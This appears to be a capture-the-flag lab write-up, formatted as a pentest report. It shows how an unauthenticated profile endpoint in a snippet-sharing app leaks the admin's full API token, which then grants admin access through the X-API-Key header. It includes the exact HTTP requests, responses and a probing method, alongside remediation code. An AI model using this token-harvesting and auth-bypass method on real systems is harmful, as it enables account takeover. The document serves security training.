BugForge — 2026.06.03

CopyPasta: API Token Disclosure to Dual-Auth Admin Takeover

BugForge API Token Disclosure + Dual-Auth Bypass easy

Part 1: Pentest Report

Executive Summary

CopyPasta is a code-snippet sharing application built on a React single-page frontend and an Express JSON API. The API authenticates callers through two schemes: a JWT carried in Authorization: Bearer, and a personal API token carried in X-API-Key. Testing found that the public profile endpoint discloses any user’s full API token, and that the disclosed admin token, presented on X-API-Key, resolves the admin identity and returns the flag.

Testing confirmed 2 findings:

ID Title Severity CVSS CWE Endpoint
F1 Full API token disclosure via public profile High 7.5 CWE-200, CWE-522 GET /api/profile/<username>
F2 Admin takeover via leaked token on X-API-Key Critical 9.8 CWE-287, CWE-285 GET /api/verify-token

The flag-bearing finding is F2. An unauthenticated visitor reads the admin’s full API token from the profile endpoint (F1), then presents that token as the sole credential on X-API-Key to obtain the admin identity and the flag (F2). No password, JWT, or session is required at any point in the chain.


Objective

Assess a newly published code-snippet sharing application and identify the vulnerability that yields the lab flag.


Scope / Initial Access

# Target Application
URL: https://lab-1780511367168-c7p0gp.labs-app.bugforge.io

# Auth details
# - Self-service registration: POST /api/register, POST /api/login
# - Primary auth: JWT in Authorization: Bearer <token> (stored in
#   localStorage "token")
# - Secondary auth: personal API token in X-API-Key header
#   ("Personal tokens for programmatic access.")
# - Starting privileges: anonymous, plus a self-registered low-privilege
#   account (role "user")

The application accepts either auth scheme on its API. Personal API tokens are prefixed cp_ and are described in-app as being sent in the X-API-Key request header.


Reconnaissance: Mapping the Auth Surface and Token Handling

The frontend is a Create React App build (main.9a8efcb3.js). Reading the bundle and exercising the API surface mapped the authentication endpoints, the admin endpoints behind the /admin page, and the two places API tokens are returned to a caller. The token-handling contrast between those two places motivated the test plan.

  1. The API exposes a token-management surface: GET /api/tokens lists the caller’s own tokens, and POST /api/tokens creates them. The list response returns only token_prefix, not the full secret.
  2. A separate profile endpoint, GET /api/profile/<username>, returns a user object that embeds an api_tokens array. For the admin user, that array carried both token_prefix and the full token value.
  3. GET /api/verify-token resolves and returns the identity of the presented credential, accepting either auth scheme.
  4. The admin endpoints (GET /api/admin/users, GET /api/admin/stats, PUT /api/admin/users/:id/role, DELETE /api/admin/users/:id) are reachable with a valid admin-context credential.

Known users: admin (id 1, role admin, admin@copypasta.com).


Application Architecture

Component Detail
Backend Express JSON API under /api/*
Frontend React single-page app (Create React App build)
Auth JWT via Authorization: Bearer, plus personal API token via X-API-Key
Database Not directly observable; users carry integer ids and roles

API Surface

Endpoint Method Auth Notes
/api/register POST None Self-service account creation
/api/login POST None Returns JWT
/api/verify-token GET Bearer or X-API-Key Resolves identity of presented credential
/api/profile/<username> GET None Embeds api_tokens[].token (full secret)
/api/tokens GET / POST Caller List returns only token_prefix
/api/admin/users GET Admin context Full user list
/api/admin/stats GET Admin context Admin statistics
/api/admin/users/:id/role PUT Admin context Change a user’s role
/api/admin/users/:id DELETE Admin context Delete a user
/api/snippets/public GET None Public snippets
/api/snippets/raw/<uuid>, /api/snippets/share/<uuid> GET Share code Public snippet sharing

Known Users

Username ID Role
admin 1 admin

Attack Chain Visualization

┌──────────────────────────┐     ┌──────────────────────────┐     ┌──────────────────────────┐
│ GET /api/profile/admin   │     │ Present leaked token as  │     │ verify-token resolves    │
│ (no auth)                │ ──▶ │ X-API-Key, no            │ ──▶ │ admin identity, returns  │
│ leaks full admin token   │     │ Authorization header     │     │ flag in response body    │
│ api_tokens[].token       │     │ GET /api/verify-token    │     │                          │
└──────────────────────────┘     └──────────────────────────┘     └──────────────────────────┘
            F1                                                                  F2

Findings

F1: Full API Token Disclosure via Public Profile

Severity: High CVSS v3.1: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-522 (Insufficiently Protected Credentials) Endpoint: GET /api/profile/<username> Authentication required: No

Description

The profile endpoint returns a user object containing an api_tokens array. Each entry includes the full secret token value in the token field. The dedicated token-listing endpoint, GET /api/tokens, returns only token_prefix for the same tokens. The masking applied on the token-listing endpoint is not applied on the profile endpoint, so the profile response spills the full secret for the requested user. The endpoint requires no authentication.

Impact

Discloses any user’s full API token to an unauthenticated visitor, including the admin account’s token.

Reproduction

Step 1: Request the admin profile with no credentials

GET /api/profile/admin HTTP/1.1
Host: lab-1780511367168-c7p0gp.labs-app.bugforge.io

Response (abridged):

{
  "id": 1,
  "username": "admin",
  "email": "admin@copypasta.com",
  "role": "admin",
  "api_tokens": [
    {
      "name": "admin-cli",
      "token": "cp_a1b9f4e27c6d4083bf5e1a9c3d7b20e8",
      "token_prefix": "cp_a1b9f4e2"
    }
  ]
}

The token field carries the full secret, not just the prefix.

Step 2: Confirm the dedicated endpoint masks the same token

GET /api/tokens HTTP/1.1
Host: lab-1780511367168-c7p0gp.labs-app.bugforge.io
Authorization: Bearer <own JWT>

Response (abridged):

[
  { "name": "admin-cli", "token_prefix": "cp_a1b9f4e2" }
]

The token-listing endpoint returns only token_prefix, confirming the profile endpoint over-exposes the secret.

Remediation

Fix 1: Serialize tokens through a masked representation on every handler

// BEFORE (Vulnerable): profile handler embeds the raw token row
const tokens = await db.apiTokens.findByUserId(user.id);
return res.json({ ...user, api_tokens: tokens });

// AFTER (Secure): expose only non-secret fields, from a single serializer
function publicToken(t) {
  return { name: t.name, token_prefix: t.token_prefix, created_at: t.created_at };
}
const tokens = await db.apiTokens.findByUserId(user.id);
return res.json({ ...publicUser(user), api_tokens: tokens.map(publicToken) });

Additional recommendations:

  • Never return the full secret token after creation; show it once at generation time and store only a hash thereafter.
  • Remove api_tokens from the public profile response entirely; a user’s token inventory is not public profile data.
  • Apply a single shared serializer for any secret-bearing resource so masking cannot drift between handlers.

F2: Admin Takeover via Leaked Token on X-API-Key

Severity: Critical CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-287 (Improper Authentication), CWE-285 (Improper Authorization) Endpoint: GET /api/verify-token Authentication required: No (uses the credential leaked in F1)

Description

The API accepts two authentication schemes: a JWT in Authorization: Bearer and a personal API token in X-API-Key. The verify-token endpoint resolves the identity of the presented credential. Presenting the admin token leaked in F1 as the sole credential on X-API-Key, with no Authorization header, resolves the admin identity and returns the flag in the response body.

The same admin token authorizes the admin endpoints. GET /api/admin/users returned the full user list with this token, and it did so even when a non-admin Bearer JWT was sent alongside the X-API-Key, so the API token authorizes the request rather than being ignored in favor of the Bearer.

Impact

Unauthenticated escalation to the admin identity, granting full administrative access including the admin user list and role and account management.

Reproduction

Step 1: Present the leaked admin token as the sole credential

GET /api/verify-token HTTP/1.1
Host: lab-1780511367168-c7p0gp.labs-app.bugforge.io
X-API-Key: cp_a1b9f4e27c6d4083bf5e1a9c3d7b20e8

Response (abridged):

{
  "valid": true,
  "user": { "id": 1, "username": "admin", "role": "admin" },
  "flag": "<flag returned here>"
}

The endpoint resolves the admin identity and returns the flag.

Step 2: Confirm the token authorizes admin endpoints

GET /api/admin/users HTTP/1.1
Host: lab-1780511367168-c7p0gp.labs-app.bugforge.io
Authorization: Bearer <non-admin JWT, id 5 role user>
X-API-Key: cp_a1b9f4e27c6d4083bf5e1a9c3d7b20e8

Response: 200 OK with the full admin user list. A non-admin Bearer alone does not clear the admin gate, so the X-API-Key authorized the request alongside the Bearer.

Remediation

Fix 1: Treat the disclosed credential as the root cause The decisive fix is F1: once the admin token can no longer be read from the profile endpoint, the credential needed for this escalation is unavailable.

Fix 2: Make dual-auth precedence explicit and consistent

// BEFORE (Vulnerable): both credential sources feed identity resolution,
// with no defined precedence, so a leaked API token authorizes freely.

// AFTER (Secure): resolve exactly one credential source per request and
// reject ambiguous requests carrying both.
function authenticate(req, res, next) {
  const hasBearer = !!req.headers.authorization;
  const hasApiKey = !!req.headers['x-api-key'];
  if (hasBearer && hasApiKey) {
    return res.status(400).json({ error: 'Provide one credential, not both' });
  }
  // ... resolve the single presented credential ...
}

Additional recommendations:

  • Scope personal API tokens to specific permissions rather than granting the full identity of their owner; an admin’s automation token should not carry interactive admin authority.
  • Rotate and hash tokens; store only a hash so a read of the storage or response layer cannot yield a usable secret.
  • Gate admin endpoints on the resolved role server-side regardless of which auth scheme presented the credential.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: A leaked personal API token grants the full admin identity, and admin endpoints honor it without an independent role check that would stop a non-admin caller.
  • A02:2021 Cryptographic Failures: The full secret API token is returned in an API response, exposing sensitive credential material.
  • A07:2021 Identification and Authentication Failures: The API accepts two credential schemes with no defined precedence, so a disclosed secondary credential authenticates a caller as another user.

Tools Used

Tool Purpose
Caido Request interception and Replay for the credential-combination matrix
Browser dev tools Reading the React bundle and mapping the API surface

References

  • CWE-200: https://cwe.mitre.org/data/definitions/200.html
  • CWE-522: https://cwe.mitre.org/data/definitions/522.html
  • CWE-287: https://cwe.mitre.org/data/definitions/287.html
  • CWE-285: https://cwe.mitre.org/data/definitions/285.html
  • OWASP API Security Top 10, API2:2023 Broken Authentication

Part 2: Notes / Knowledge

Key Learnings

  • Leakier sibling endpoint. When a secret is masked on its own dedicated endpoint (/tokens returns only token_prefix), check sibling endpoints that embed the same resource (/profile embeds api_tokens[].token). Masking is applied per-handler, not per-field, so one handler returning the full secret while another masks it is a recurring pattern. Any endpoint that serializes a user or object graph is a candidate to spill the masked value the dedicated endpoint protects.

  • Dual-auth precedence is measured, not assumed. When an application accepts two authentication schemes (Bearer JWT plus X-API-Key), build a probe matrix for each sensitive endpoint across three states: credential A only, credential B only, and both present together. A leaked secondary credential can authorize a request even when a primary credential is also present, and precedence is often decided per-endpoint, so the “both” cell can differ from either alone. The identity endpoint (verify-token, /me, /whoami) is the cheapest place to read which identity a given credential combination resolves to.


Failed Approaches

Approach Result Why It Failed
GET /api/admin/flag as a direct route 200 with text/html (SPA shell) Not a real API route; the React single-page app catch-all served index.html
Searching the JS bundle for the flag string Only React internal flags matched The flag is not embedded client-side; it is returned server-side by verify-token
Early model: “Bearer wins, strip it so the key is used alone” Contradicted by Replay evidence The both-headers admin requests succeeded in Caido Replay; the X-API-Key authorizes alongside a Bearer, so stripping the Bearer was never required

Tags: #api-security #broken-authentication #information-disclosure #privilege-escalation #bugforge Document Version: 1.0 Last Updated: 2026-06-03

#api-security #broken-authentication #information-disclosure #privilege-escalation #cwe-200 #cwe-287 #bugforge